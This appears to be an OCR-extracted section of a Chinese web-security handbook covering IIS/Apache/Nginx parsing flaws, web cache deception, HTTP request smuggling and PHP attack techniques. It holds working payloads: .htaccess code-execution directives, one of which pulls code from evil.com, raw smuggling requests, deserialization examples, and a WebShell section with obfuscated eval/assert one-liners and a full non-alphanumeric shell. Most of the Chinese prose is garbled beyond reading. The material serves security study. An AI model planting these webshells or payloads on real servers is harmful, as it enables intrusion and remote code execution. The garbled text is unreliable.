o THURYE Bt ER

4.13.11 SEHEE

o TP b HA# DT 56
o ATEEIERD 22 4 MU B R AR

414 BEESKRBELE

4.14.1 TNIESRER
R

o RBRA D fr AR A2 4K
R BR ) B A AL 15 A A
R
A MG BHIG

- P

- 4H

- 4

- 4
ARG UL5) Y

4.14. RESKRZE

135
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— MR Y
— B
I

o TEE AT ALY

4.14.2 PPRECE
I YNAUES N FUN
S N ISV
4.14.3 #HEHRE
=FIAIE
o MR 55 =05 IR 55 5 SR HA - 5 k5
=hHE/ R

o ITURTR IS BAT S BT

4.15 hja¥F
4.15.1 IS
11S 6.0

o JRBRHT /xx.asp;.jpg
— MRS ERERAANIENT 5 5 REJFHNE, 24T
H&f#T /xx.asp/xx. jpg (xx.asp Hg NMERMT)

BRAAEMT xx.asa xx.cer xx.cdx

PROPFIND # i H Ji il

« RCE CVE-2017-7269

1S 7.0-7.5 / Nginx <= 0.8.37

1 Fast-CGL JFREMRES N, 804G L /xx.php , Bl xx. jpg/xx.php S4if#M A php 014
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PUT &R

« FFRE WebDAV
o WAREMF, HREHPA LARR
o NAERISCIF AR

Windows #5it

Windows A AV 2R A K —LRIRFAFE NS R, AUEXRER & A ghE i, BroAn AT xx.
php[% 4] , xx.php., xx.php/, xx.php::$DATA | {& A 4.

XraER

LES0H NTFS 8.3 SCHAg, R4 SR & S e . SErh S SeP R S T -
o SCUFARIESCIEART 6 I L -1, FCABE A R AR RIS R SCPE, SR
BT .
o SRS 3 (i, B A
. FAINE TR S T

o XMHFLRBRKERTST 4 BB RERTHET 9 BASA MRS, AR S 2% s Hpb R o
FORTAT, WITCHLR BE A

1IS 8.0 Z B i AR SCREJESC AR RS IR HTTP J7k E 24045 : DEBUG. OPTIONS. GET. POST. HEAD,
TRACE A, fF#%4€ ASPNET, i IIS 8.0 2 J5#IiR4 R figifid OPTIONS HI TRACE J5 kA5l s,
{H2%4G ASP.NET fBR .

XA R R T
o UMFRATT 6 PR T 7, SR SR S A R SO, e i iR
o AR
R ER PLE T A4 fsutil behavior set disable8dot3 1 J:[f] NTFS 8.3 UM X k165 .

SERE

o FH Windows 4k m 28 B &%

o Uploading web.config for Fun and Profit 2

4.15.2 Apache
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B REHT

test.php.x1.x2.x3 (x1,x2,x3 N A mime.types XA E XA SCE2EA ) . Apache M A ATFUEH]
Wia g, # x3 MAERTHBIEEE, AW x2, BEEHRE PRSI, SR E X AT B S S T g

.htaccess

24 AllowOverride #% 2 A, _EA% S VT HLNEY) htaccess

AddType application/x-httpd-php .jpg

php_value auto_append_file .htaccess

#<?php phpinfo();

Options ExecCGI
AddHandler cgi-script .jpg

Options +ExecCGI
AddHandler fcgid-script .gif
FcgidWrapper "/bin/bash" .gif

php_flag allow_url_include 1

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaWsmbygpOw==
#php_value auto_append_file data://text/plain, 3C)3Fphp+phpinfo/,28/,297,3B
#php_value auto_append_file https://evil.com/evil-code. txt

BREH

il & Options +Indexes I Apache 7F{EH sl [ .

CVE-2017-15715

%OA GEid EARIRA

lighttpd

XX . jpg/xx.php

SEHRE

o Apache [f&%Eit
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4.15.3 Nginx
Fast-CGl X%

1E Fast-CGT BRI F, Neinx 3R TEEMNTRIR . 53072 (ocipg) JETEN L %00.php , B xx.
$pgk00. php 44 php S A AR

Fast-CGl 75

1 Fast-CGI FFRMRASTS, 180842 E M b /xx.php , W xx. jpg/xx.php ST A php {4

CVE-2013-4547

a.jpg\x20\x00.php
BLEHIR
BRzFE

R B P EAEZR{ location /foo { alias /bar/; } WIECEI}, /foo../ &Wif#MT N /var/. ./ NS
EH SR KA.

BRER

Bl autoindex on FFJEiHY, Nginx HAFETE H skl I il -

SEHkE

e CVE-2013-4547 Neinx AR AR FH K507

4.16 Web Cache EtigIx ik

4.16.1 H4r

BRI CDN. SR . S A B Web SEAEINRE. LSRN I ST
PR AER AR 55 e i B FEE 3

Bilgn, W htttp://www.example.com it & | ol fCHL. XFFARLet & M > A5 B R T, 40 http://
www . example . com/home . php , T4 R I A AR BRI, IR THRGE F 2SS W, AL
TEZAFIRSS A H AT AT . WG B AT ATFUT RSSO, A ess SCHFL Js SCfFL txt SO &

4.16. Web Cache H{IRI 139
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FrEESE . AN, MR BRAESEERSCRM A, X TARERE AT F S SR T8, IF H 22 m HTTP

Web cache B2l T RPO MRBRARTE G ey, #RHOHT I Yids 5 IS4 xt URL B9ty =X. M
TE4ERy URL B, 4 http://wuw.example.com/home . php/non-existent.css , WIWi#F K%k get 53K, i
FHEANEARSHEE, RSaeRA T H A http://www.example.com/home.php FINZS, [ART URL Huhik{h
SRJE http://www.example.com/home.php/non-existent.css, http LN 5 EHEEYH http: //www.
example.com/home.php FH[f], cacheing header. content-type (IHAb>N text/html) HFH[E] .

4.16.2 jFiEAKRE
2 UHRR 95 e B0 B G AT HRS SUIF T X S caching header W), /7] http://www.example.com/
home.php/no-existent.css B, KA ANE? AN IRAEI T

1. Wi #siE K http://www.example.com/home.php/no-existent.css ;

2. fR%5 ik [u] http://www.example.com/home.php [NZE (I H M UIA AT ILIH);

3. MR 28t AR 45 2

4. RIEPBNZ A css JGE;

5. AEZATHT, MBS #3018 H % home.php , FFiR [N /EH non-existent.css fR1T

4.16.3 j®iAFIA

Bk 1 P e http: //wuw. example . com/home . php/logo . png?www .myhack58. com , S E&H H A4
MNE BB T ZAT, NIMBERATF RS B ERE R, QR B N session AR, 427
ISR, B34 csrf token, IXFEUH A REHEE PRAFXLEAE ., BRNIE &1 75 AR 9 0 B S e TR 2 A T
AT Y

4.16.4 REEENRN

TR EAEAE, /T2 T A4
1. web cache IWEEIRIEY B TARLAE, FFZM& caching header;

2. M{Jj[F U0 http://www.example.com/home.php/non-existent.css A{EFEMITIHE, £ik[9] home.php
INZS o

4.16.5 miR A
B M A 3 A

1. BEEZAILE], UNZEAF http caching header FRVFRY SR, X AEAMAMRAS b A4 12 ) 85
2. WIRGZAFAF R AEETT, BEE RS content-type MEFTERAF
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3. 1/jlf] http://www.example.com/home.php/non-existent.css X ANFFAET I, iR [0 home.php AY
WZE, TaRIE 404 3% 302,

4.16.6 Web Cache EhJRXrik=c i
Paypal

Paypal fERER 2 AT, i izded, ATPAREUNE S Hikd . I esil. 5 Rime 4 A5G =2
Syl emaill HUhESF R . SR ALY BT (147 :

e https://www.paypal.com/myaccount/home/attack.css
e https://www.paypal.com/myaccount/settings/notifications/attack.css

e https://history.paypal.com/cgi-bin/webscr/attack.css?cmd=_history-details ,

4.16.7 BEHEEE

o practical web cache poisoning

o End-Users Get Maneuvered: Empirical Analysis of Redirection Hijacking in Content Delivery Networks

4.17 HTTP i&KkEFA

4.17.1

HTTP #RER 2 —F T B HTTP 3R AR, e FAE 2005 4FH—f SCE PRl

4.17.2 pE&A

TR K 2 AT R R 55 25 FUG S IR 45 A8 X 48 i % A B PR A — B i Ol . X2 HTTP #)
UL TR AR R RIS E KSR B, B Content-Length fl1 Transfer-Encoding {5k,

4.17.3 53

o CLTE: Hiiikss s Content-Length 3k, JFuifR55 %56 /H Transfer-Encoding 3k
o TECL: HiiiiR%25# )] Transfer-Encoding fr3k, /G5 #4{#Jf] Content-Length 53k,

« TETE: Hisifl)msink s ##0 3 5F Transfer-Encoding 53k, {Hi2n] AIE DABER T AR F% T o —
RIS TR B E

4.17. HTTP iEREFR 141
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4.17.4 K if
CL 7% 0 B GET &Kk

LTSS R SAVF GET G RaBAT ik Ak, masmlss #: A i GET #REFERIE, © IR 2N
GET >R "'} Content-Length Sk, AFATARE. HIAIT WX AHI1

GET / HTTP/1.1\r\n
Host: example.com\r\n

Content-Length: 44\r\n

GET /secret HTTP/1.1\r\n
Host: example.com\r\n

\r\n

HIMEAR 55 28 AL T Content-Length , [ J5uiAR55 51 A 4L FE Content-Length , T pipeline #LH[IA KX
ALK, BRE s T IR & A

CL-CL
M RFC 7230, SRS HICEIR IR A5 P4 Content-Length , I HLPWE MIEAFIF, 75 2HR[H 400

B, (A RIS S B R S A IE . XA DL R, RIS 345 ORI Y Content-Length Y,
i e . Bl

POST / HTTP/1.1\r\n

Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n

a

EAGIFH a ghesgliay AT —ieK, A8k aGET / HTTP/1.1\r\n .

CL-TE

CL-TE #5Hiunik 55 #74b ¥ Content-Length iX—if3K3k, M j5umkss A ~F RFC2616 WIHLE, ZHghs
Content-Length , AL Transfer-Encoding . fl#0:

POST / HTTP/1.1\r\n

Host: example.com\r\n

(T gk%E)
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(8:EW)

Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n

0\r\n

\r\n

a

XA T a [FAES B AR —E2K, 4824 aGET / HTTP/1.1\r\n .

TE-CL

TE-CL 1515k 55 #5 43 Transfer-Encoding 3Kk, )5 iiAR 55 2sAb B Content-Length K3k . fln:

POST / HTTP/1.1\r\n

Host: example.com\r\n

Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n

12\r\n

aPOST / HTTP/1.1\r\n

\r\n

O0\r\n

\r\n

TE-TE

TE-TE 57155 55 % &AL P Transfer-Encoding 3Rk, H@TERFEME ERBURR, GBI AR 5545 T

AESS AL PE Transfer-encoding , M 4:

POST / HTTP/1.1\r\n

Host: example.com\r\n

Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n

5c\r\n

aPOST / HTTP/1.1\r\n

(@E23)

4.17. HTTP i&EKEF
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Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n

\r\n

x=1\r\n

0\r\n

\r\n

4.17.5 BA5fE

o ZN R R
o BRORIESE A BT AR S5 A LA A TR A C
o JEAA T SCHEE R

4.17.6 SR
RFC

e RFC 2616 Hypertext Transfer Protocol - HTTP/1.1

o RFC 7230 Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing - HTTP/1.1

Blog / Whitepaper

e HTTP Request Smuggling by chaiml

e HTTP request smuggling by portswigger
o M—IEMF|PIZIEZ HTTP 3RER
e HTTP Request Smuggling in 2020

e h2c Smuggling: Request Smuggling Via HTTP /2 Cleartext (h2c)

144 Chapter 4. & iR



https://tools.ietf.org/html/rfc2616
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https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
https://portswigger.net/web-security/request-smuggling
https://xz.aliyun.com/t/6654
http://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf
https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c

CHAPTER b

5.1 PHP

5.1.1 717
php.ini ¥R

FIH auto_prepend_ file ] include_ path

.user.ini ¥R PHP &1

.user.ini W47 T A DA fastegi 12471 server. F| 5[ php.ini

5.1.2 RFF3IME
PHP 3L 3EH

HRLEE

PHP J35 kAL BRIEA JURP, 4>%14 php. php_serialize, php_ binary Fl WDDX (22 B4 0 TF S0 55), Bk
AN php, FESECE A session.serialize_handler 15k,
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st PHP gmighm AT WDDX Z#¢, WHEEH WDDX, WDDX M PHP 7.4 A5 G7H. M PHP
5.5.4 FA] PA# A php_serialize, php_ serialize 7F P35 &] B E 04 F serialize/unserialize %L, 7 HAS
A php # php_binary Bt BA 1R .

Hi PHP AbFEgSis ol i + B4 + 2 serialize() BT ALTRAG{E .

Ho php binary ZRBEEFISEN 0 BANK XTI A ASCIL F4F + #44 + 4l serialize() BRBUTFI AL
PRAMH

Herp php_serialize ZEFRASAUARCN 0 Gl serialize() PRAUTFILALEREAL

FFolftiE

Ho php_serialize BY)5ZHIAE php-src/ext/standard/var.c H, FZEpRECH php_var_serialize_intern
, JFIMEIE RS R

e boolean
— b:<value>;
— b:1; // true
— b:0; // false
e integer
— i:<value>;
e double

d:<value>;

« NULL

e string

— s:<length>:"<value>";

— s:1:"s";
e array

— a:<length>:{key, valuel};

— a:1:{s:4:"keyl";s:6:"valuel";} // array("keyl" => "valuel");
e object

— 0:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};

+ reference

— fREHA
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— R:reference;
— 0:1:"A":2:{s:1:"a";i:1;s:1:"b";R:2;}

— $a = new AQ);$a->a=1;$a—>b=k$a->a;

private 5 protect

private 5 protect &AM public ZZE AR, AHEEIZBE.

private J& M HAETE HAOE SUWFENERT ), HA SR, TefErEnim 2644, R %00className%00 J T
hrE H2FAA o

protected J& Ml DATESCIERN TR 51, AZ BTN %00%%00 I FH55E Hoig ZRIP11 -

PHP REFEJ{tIRiE

php TESJFHMEIHESH ] __wakeup / __sleep S5pR%L, TIRESHE MRS IATEE S, #5775 A H R %L,
TEATR IO 28 FHAH SRR BR B, TRIRE 2 AR IS 0UF T o

Fi4h __toString / __call WA R W HE.

Hp __wakeup 7E P FMLIN G fih %, __destruct ¥ GC Wgifih %, __toString ¥E echo Wgifih %, __call
TE— AR S R AR FH sl i

R AR FLY demo.

class Demo

{

public $data;

public function __construct($data)

{

$this->data = $data;

echo "construct<br />";

public function __wakeup()
{

echo "wake up<br />";

public function __destruct()

{

(@iE23)
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(8:EW)

echo "Data's value is $this->data. <br />";

echo "destruct<br />";

var_dump (serialize(new Demo("raw value")));

i

construct
Data's value is raw value.
destruct

string(44) "0:4:"Demo":1:{s:4:"data";s:9:"raw value";}"

PR BN — TG, AT
unserialize('0:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');

i

wake up
Data's value is malicious value.

destruct

XA, [HEPENT.

EMi7Z—4> unserialize O WYRIFMN, AR, DR __wakeupO B __desturct O AHEUEHRE, L
WNEE S SRVERCR R, AT DAJE 1 BRI IS B B A R A TR

W2, AE __wakeup O HMAFIWE T FT AR IEXANFNE? 7E __wakeup O HIRATIMA—ATHIH

public function __wakeup()

{
if ($this->data !'= 'raw value') $this->data = 'raw value';
echo "wake up<br />";

}

RIS AT AGEL Y, 8 PHPS < 5.6.25, PHP7 < 7.0.10 HRAHAFAE wakeup HYJiH . 24 5751 4LH
object M HANZ BT NEOANSERS, wakeup g, TRMM T payload

unserialize('0:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');

i
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Data's value is malicious value.

destruct

X wakeup #E5ed, (EHKIBHES T .
FIAR
SoapClient J[R&FIH

php 1) SoapClient 28 1] PAAIEE soap FHEdR 3¢, FEAE wsdl #iX R, SoapClient FSEH S FIAL I 2>
XEE —ASSHEFE AN url #47 soap WK, ZFRETIH T SSRE.

ZipArchive [R4EFIH

php Jf4:2 ZipArchive: :open() "y flag ZHANRIKE N ZipArchive: :OVERWRITE I}, SxMER4gE i,
KR — R 251 AT DA TR SO

Session

PHP 1 session BRIASEASCIFIZATERKI, SCPFRA sess_sessionid fi44, 7E session — i BEREATHAGNIL T,
T3 session il & ST AL .

#H3%< CVE

CVE-2016-7124

\

{E PHP 5.6.25 Z BIRAH 7.0.10 Z FIHIRAS, SXF L@ (2
SWEAT .

i) BT SEBRIAN ST, __wakeup() A

5.1.3 Disable Functions

HliHIse 3

PHP  Disable Function BJsZHE7E php-src/Zend/Zend-APL.c F1, PHP FE/Eshit, SeEt & e 2k b
PIREL, BRI R %2 V] zend_disable_function SSLHAE (AR .

XA BR B AR R A8 R N B R B R TP R B W R AL B IS B, i RAS A AR AR
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ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) /* {
~{{ */
{
zend_internal_function *func;
if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_
~length))) {
zend_free_internal_arg_info(func);
func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_
_.RETURN_TYPE) ;

func->num_args = 0;
NULL;
func->handler = ZEND_FN(display_disabled_function);

return SUCCESS;

func->arg_info

}
return FAILURE;

FIRRE) S 202, disable classes 32X FESL LR

ZEND_API int zend_disable_class(char *class_name, size_t class_name_length) /* {{{ */
{
zend_class_entry *disabled_class;

zend_string x*key;

key = zend_string_alloc(class_name_length, 0);
zend_str_tolower_copy(ZSTR_VAL(key), class_name, class_name_length);
disabled_class = zend_hash_find_ptr(CG(class_table), key);
zend_string_release_ex(key, 0);
if (!disabled_class) {

return FAILURE;
}
INIT_CLASS_ENTRY_INIT_METHODS((*disabled_class), disabled_class_new);
disabled_class->create_object = display_disabled_class;
zend_hash_clean(&disabled_class->function_table);

return SUCCESS;

XA SEIALH R R, 72 PHP 3315003 ini_set R{5Ik disable_functions #f disable_classes
[T
S TCRLI -
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Bypass

« LD_PRELOAD &4
— https://github.com/yangyangwithgnu/bypass_ disablefunc_via LD _PRELOAD
— mail() + putenv

o« PHP OPcache

o Mail K%k

e imap_ open

— https://www.cvedetails.com/cve/cve-2018-19518

5.1.4 Open Basedir

HIScE

PHP ' Disable Function BJSEHZTE php-src/main/fopen-wrappers.c H1, SEELT 2R AR A SCUFEEAH o6 452
VERTE FH BR AR PR B AR R R AT R R AE basedir Py, b —3 o S ARSI -

PHPAPI int php_check_open_basedir_ex(const char *path, int warn)
{
/* Only check when open_basedir is available */
if (PG(open_basedir) && *PG(open_basedir)) {
char *pathbuf;
char *ptr;

char *end;

/* Check if the path is too long so we can give a more useful error
* message. */
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref (NULL, E_WARNING, "File name is longer than the maximum
—allowed path length on this platform (/d): ", MAXPATHLEN, path);
errno = EINVAL;

return -1;

pathbuf = estrdup(PG(open_basedir));

ptr = pathbuf;

while (ptr && *ptr) {

(T gk%E)
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(8:EW)

end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
if (end != NULL) {
xend = '\0';

end++;

if (php_check_specific_open_basedir(ptr, path) == 0) {

efree(pathbuf) ;
return O;

}

ptr = end;

}
if (warn) {
php_error_docref (NULL, E_WARNING, "open_basedir restriction in effect. File(
—/s) is not within the allowed path(s): (/s)", path, PG(open_basedir));
}
efree(pathbuf) ;
errno = EPERM; /* we deny permission to open it */

return -1;

/* Nothing to check... */

return 0;

5.1.5 R2HEXEE
3 52 PR

"1 disable_functions / disable_classes [Ri| PHP W& ) sREFI2E,

B R 71 PR 1

AJiEd open_basedir Rl PHP AJ {1/ H H 5%,

25| AR

it all_url_include FRERE TS, BRIASE . Wl allow_url_fopen FRHIFIIFmAE SCf, 2R
VIR
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Session

Session.Save

PHP [ Session ZLiA handler {4, f7fif7E php.ini Y session.save_path W, FHEEEE AR
R, W ATE P EEHL session, A phpinfo HR] 3RS session {i .

Session.Upload

PHP ZRiAFF/5 T session.upload_progress.enabled , iZ%ikWi4 SEUE M _EE R L, HALMHEAZRTT A
7£ phpinfo HREL.

A2 T A A AR ST I AR 5 e ki, AEA LET A 00 R BT A

5.1.6 PHP if

&g
i (Streams) FMEEIEAE php 4.3 SIAR, XIS, HTE—BdnE, Hascrgds . M
Bl AR

VAT PAMEST file, open. fwrite, fclose. file_ get_contents, file_ put_ contents Z&REFAE .

ESE-30 0
PHP iR Z W' URL KASYERE ML, AT T4 fopen() . copy(). file exists() Fl filesize() BSCIF 5
BEER%L. SO ] stream_get_wrappers() £ .
o file:// UiFIAHICIF RS
e http:// Vil HTTP(s) Mk
e ftp:// iJjli FTP(s) URLs
e php:// PiFAA NN /FHR (1/0 streams)
o z1ib:// R4l
o data:// s (RFC 2397)
o glob:// AARVERCHY U B AR
« phar:// PHP |4}
« ssh2:// Secure Shell 2
« rar:// RAR

o ogg:// EHIL
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o expect:// AP H AW

PHP 3Z#i
PHP 247265 A /4 (10) i, feiFiiinl PHP Ak AR R, A Ad BRI iR ey, ifg
A% A U3 A ek PR SCPAAT DA 2 T AR LA S U A ST B IR e D i -

TR, VR allow_url_fopen i, B2 php://input, php://stdin, php://memory il php:/
/temp ZfRT allow_url_include .

TP T P

php://stdin , php://stdout Fl php://stderr JuiFEHF1JH] PHP JEFEAH R i A BCE i B
FUR TR SCOHERRT, BrAUERAESTIF php: //stdin HAEZ JG K T, SUZRM TR G, HIEGIH
f) STDIN H-ASZ5 M.

o php://stdin 2 HiEMY, php://stdout I php://stderr 2 HEH.

fd

php://fd SRV E VTR E R S RASF . BN php://£4/3 51T SCUHRRST 3.

memory 5 temp

php://memory Al php://temp J&—MREISCIF AR EIGT, RVFES IR Ed. P X2
php://memory B EALKHRHIFAENATH, 1l php://temp SAE AT ELAEIUE LIRS (BRILZ 2MB)
AN SO I SO E R P E R sys_get_temp_dir ) 77—k,

php://temp ¥ PAESRFI AT 7 /maxmemory : NN S5 ihl, NN ZDAFEA MBS, 5 AR NAEI i K
i, R DU I B SO

input

php://input J&ANA] PAVH ) SR K SR A B 1) e . POST #RTENL T, i@ 1] php://input FALEE
$HTTP_RAW_POST_DATA, BRI T45ER php.ini $$4. MiH, XAEM5H N $HTTP_RAW_POST_DATA
BN A IETE, LIS always_populate_raw_post_data JE{EF I H /D NIFE. enctype="multipart/
form-data" I php://input 2 TR .

filter

php://filter JE—FionEPRAy, Wil M TEIRRITIT A e JER A . PHP BRASR B T — Ll JE4s
BRLZ A, BRI DABE A A R S g -
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filter A5 resource, read, write =34, resource ZER NI . BIEE TIHE &S IENBIER . read F
write ZF[ESE, W PARE DB UER AR, VAR () 2.

g IIR

DA stream_get_filters ) RN ATEM YL UERRSK . Hb PHP B EIES T -
o FRFRLIESS
— string.rot13
— string.toupper

— string.tolower

string.strip_ tags

convert.base64-encode

convert.base64-decode

convert.quoted-printable-encode
— convert.quoted-printable-decode

— convert.iconv.*

— zlib.deflate

zlib.inflate

bzip2.compress
— bzip2.decompress
o ML
— merypt.‘‘ciphername*

— mdecrypt.‘‘ciphername**

idiEREFIA tricks

« LFI

— php://filter/convert.base64-encode/resource=index.php
o XXE BERCCHF & MG, T base64 Zh
o base64 Zifih Sy T RAERD R NITFARF, 7T Geid—2E 30 phAg
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o &R convert & KEMEIHFE, WHIE DoS
o rotl13 / convert #ifiid WAF

5.1.7 htaccess injection payload

file inclusion

php_value auto_append_file /etc/hosts

code execution

php_value auto_append_file .htaccess
#<?php phpinfo();

file inclusion

php_flag allow_url_include 1

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaWbmbygpOw==
#php_value auto_append_file data://text/plain, 3C/3Fphp+phpinfo/,28/,297,3B
#php_value auto_append_file https://sektioneins.de/evil-code. txt

code execution with UTF-7

php_flag zend.multibyte 1

php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs

Source code disclosure

php_flag engine 0

5.1.8 WebShell

&

BRE

« GLOBALS
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— eval ($GLOBALS[' _POST']['op'1);
$_FILE
— eval($_FILE['name']);
i
— eval(${"_P0"."ST"} ['sz']);
A RE AT
— $k="ass"."ert"; $k(${"_P0"."ST"} ['sz'l);
— $a=$_GET['a'];$a($_GET['b'D);
create__function

— $function = create_function('$code',strrev('lave').'('.strrev('TEG_$').
"["code"]) ;') ;$function();

preg_replace

57
— str_replace(” 7, 7e val”)
b i
— "\x62\x61\163\x65\x36\x34\137\144\145\x63\x6£\144\145"
Ailiasy
G A R I G I VAt D I G RalVAD I QR SabVAD F
A s
— $a="a";$at++;
i e 7R e i
— $a="";8%a.=[1; // Array
ISR
— __FILE__
1R
— $as"e" . My". /4—/k—k/"a" [x—k/"1";
2]
— ReflectionFunction
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Bypass
o JET/b W%
— mb_eregi_replace('.*',$_GET[1],'','e"');
— set__error__handler + trigger error
o MET IR

— putenv($_GET["c"]);eval(getenv('path'));

parse__str
— parse_url
— extract
— token_ get_ all
— define
o JETAHWIR

— $a = filter_input (INPUT_GET, 'c');

eval (end(getallheaders()));

get_ defined_ vars

getallheaders

— get_ meta_ tags

— phpinfo

— SR/ SUEEE
— T # toString

FHBEREH

¢ base64 decode
e base64 encode
e str_replace

e str rotl3

o strtok

o strtolower

o strtoupper

e strtr
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o substr

e substr_replace
e trim

o ucfirst

e ucwords

(51 &5 4%

e array_ filter

e array_map

e array_reduce

o array_ walk

e array_ walk

e array_walk recursive
e call user func

e call_user_func_ array
o filter var

o filter var array

e preg replace_ callback
o register tick_function
o registregister shutdown_ function
e uasort

o uksort

InfRE E B

e mcrypt_encrypt

e openssl_encrypt

HAp AT AR

o FFI

e SimpleXML
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¢ SimpleXMLElement

B LR

) S SR INAR R R R, AE—E R BT PAGEE — B8Pk g AL, R T AU g — T oS il Y
PATR TR R 1

$string = '';
$password = 'password';
if (isset($_POST [$password])){
$hex = $_POST[$password];
for($i = 0; $i < strlen($hex) - 1; $i += 2) {
$string .= chr(hexdec($hex[$i] . $hex[$i + 11));

}
eval($string) ;

5% F4F Shell

PHP {7 fFanl DMESE T80, AR, SEEI TR, ST AR P AT AR A B Shell,

<?7="{${~"\xa0\xb8\xba\xab"} [~"\xa0"]}";

Q$_++;
$__=(u#n'~n | u) . (n X nAu,,,n) . (n/u'\u*n) 3 (u | ||A||/||) . (u{u'\n/n) ;
O${$__F'$_1(s{s__3[$_1);

$_=[1;

$_=0"$_"; // $_='Array';
$_=¢_["1'=="0'1; // $_=%_[0];
$__=%_;// A

$__=%_;

R S o T o o N e J o e T o o S o T o S T o S o o
BC S T T = o T =

$___.=8__;//8

$___.=%__;// 8

$__=$_;
$__++;8__++;8__++;8__++; // E
$___.=$__;

$__=%_;

(M ougksr)
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(8:EW)

$__++;$ ;8 ;8 ++;S S 458 S S 48 8 S 48 448+
w++;$_ ++;$_ _++; // R
$___.=%__;

$__=%_;

CJE T S TS S R PR J o NG P R S J o S PR J o G P S S S S S

oS S 448 ++;$ ++; // T

$___.=$__;

$____="_";

$__=%_;

ER o R o T o N e J e T S e N e I SR e I e T = o S o
~++; // P

$____.=$__;

$__=%_;

$__++;$ ;S ;8 ++S S 48 S S 4+ S S 48 ++38_ _++; // O
$____.=$__;

$__=%_;

GRS S S PR I P S T P S S P T S S T PR L P T T
oS ;8 4438 ++; // S

$____.=%__;

$__=%_;

S__ ;S A S S S8 S eSS+ 88
oS S 448 ++;$ 4+ // T

$ .=$

—_—— Jp—}

$_=8$____;
$___(base64_decode($_[_1));

LorIPaET S

o HTIRIE BT A

o BT HE R TIT
L S A TR R A
BT R T WAL 7
ET 5 AL BT R R

5.1.9 KR}

PHP fUHIRIEAZ M5, WAFINEXrF. 1RE . BT RPN . BT opcode M. ETH EMESE.
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ISR AR EEME A php 3O, @ frE 07 SO S G eval 207 AT, XA A Z BaE R -
R e R4 il AST —E RN U H U5 A PAR AR AU A m] S A Ty ik, XA 5 AT DA
I B i) R AR B B ik S o BT R LA 7 N E C S T — BRI, fF PHP BHOpREm Ay, X
Py A TCIEE YRR AT R RAK . BT opeode M2 zend guard &8 T RGN L, R4
opcode JG AT HTH R IE T EGIABOMNIY R, SR MBIRA . BEUEEHT . mE SO AR
AR

5.1.10 Phar

[F]y

Phar (PHP Archive) SCfFR—FT A%,  PHP AURD SCARIHAR BT A —A>SCHF R S B I FE 7
TR 7 2

TER A Secarma {224 WFE 51 Sam Thomas 7 18 4FfY Black Hat FEEHVSHM TG, THAZEZHY
Phar AIF 2 Al Phar DAFSLEITEAE6# B E L meta-data, TPARRITES TR, 2 H3)
SFPHIAK AT i BT 1 1 Bk 20 o

Phar {454

Phar BSR4, 2052 stub / manifest /| CFNE | %544 . stub 555 __HALT_COMPILER(); iX/>
WH7E PHP RS,

manifest {5 HAE SO . JEIE . JFAIMIEAAFHA meta-data (FH, X RUGHMZOHS, F2HE
SEf#ENT Phar BFXT meta-data #9314k

¢

phar HJSEINLE php-src/ext/phar/phar.c f1, F 32 phar_parse_metadata pREFEMEAT phar SCFRFE T
T php_var_unserialize , [ b3,

M php £ XA RAC IS FE P &8 _php_stream_stat_path (/main/streams/streams.c) , 1M 5 a4 18
phar_wrapper_stat , FrPAKHERY SO R4 s B0ET i Al A phar #5275 )8 o

H Al 2R i i R A

fileatime / filectime / filemtime /stat / fileinode / fileowner / filegroup / fileperms / file / file get contents
/ readfile / fopen / file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable /
is_writable / parse_ini_file / unlink / copy / exif thumbnail / exif imagetype / imageloadfont / image-
createfrom™** / hash_hmac_file / hash_file / hash_update_file / md5_file / shal_file / get_meta_tags

/ get_headers / getimagesize / getimagesizefromstring
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5.1.11 Sink

EERBHRT

eval
assert

call user func

BITREGS

pentl__exec
exec
passthru
popen
shell exec
System

proc_ open

Magic F%g

__construct () X4 B

__destruct () BN 4 AL I B

__callO) AR AT S R AR Ty B A

__callStatic() IR AT IS A AEAE R A v iR

__get O VEIUR AT ISR AEAE i i

__set () QR AT SR e IR IR

__isset O MRS ARIEER I isset B¢ empty () B
__unset O KR A7 ISR AELERG R HESERT wnset 4R

__sleepO) XHGFFHILI BT

__wakeup O XFRIFHIIIBER, HA P8I 745 o Fom Xt S s P B E T E L s P

2Bk wakeup BHAT

__toString () 24— R BT AF R I A5 ]
__invoke O X R PARKEI T I H ke
__set_state() VM var_export () S 2m 4k H

5.1.
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__clone() AT clone Wi
__debugInfo ) iJ{| var_dump ) 7T EIX}5 i )

XHHEXEBE

SSRF

phar il % =X

move_uploaded_file

file_put_contents / file_get_contents

unlink

fopen / fgets

file_get_contents()

fsockopen()

curl_exec()

fopen()

readfile()

fileatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms

file / file get_contents / readfile / fopen

file exists / is_dir / is_executable / is_file / is_link / is readable / is_ writeable / is_ writable

parse_ini_ file

unlink

Copy

exif

gd

exif thumbnail

exif imagetype

imageloadfont

imagecreatefrom

kkk
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e hash
— hash hmac_file
— hash_file
— hash_update_ file
— mdb_file
— shal file

o file / url
— get__meta__tags
— get__headers

o standard
— getimagesize

— getimagesizefromstring

[REZFIR
« XSS
— Error
— Exception
« SSRF
— SoapClient

o open__basedir &4k
— Directorylterator £5#r glob://
¢« XXE

— SimpleXMLElement

5.1.12 HE

RRE

